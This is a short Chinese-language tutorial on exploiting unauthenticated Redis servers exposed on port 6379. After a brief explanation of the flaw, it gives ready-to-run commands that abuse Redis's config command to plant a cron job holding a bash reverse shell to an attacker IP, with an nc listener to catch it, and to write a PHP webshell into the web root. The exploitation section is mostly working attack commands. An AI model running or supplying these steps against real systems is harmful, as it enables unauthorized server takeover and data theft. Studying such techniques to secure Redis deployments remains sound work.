1. 漏洞简介#
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
攻击者通过未授权访问漏洞,利用 Redis 自身的 config 命令,可以登录目标服务器、添加计划任务、写入 Webshell 等操作。
以下操作都是在已存在 Redis 未授权访问漏洞的前提下进行的
2. 利用计划任务反弹 shell#
https://github.com/caoxinyu/RedisClient/releases
https://github.com/dmajkic/redis/downloads
在连接到漏洞的受害主机上运行:
set xx "\n* * * * * bash -i >& /dev/tcp/IP地址/端口 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
在本地运行:
nc -lvnp 端口
3. Redis 写 webshell#
config set dir /var/www/html
config set dbfilename test123.php
set webshell "<?php phpinfo(); ?>"
save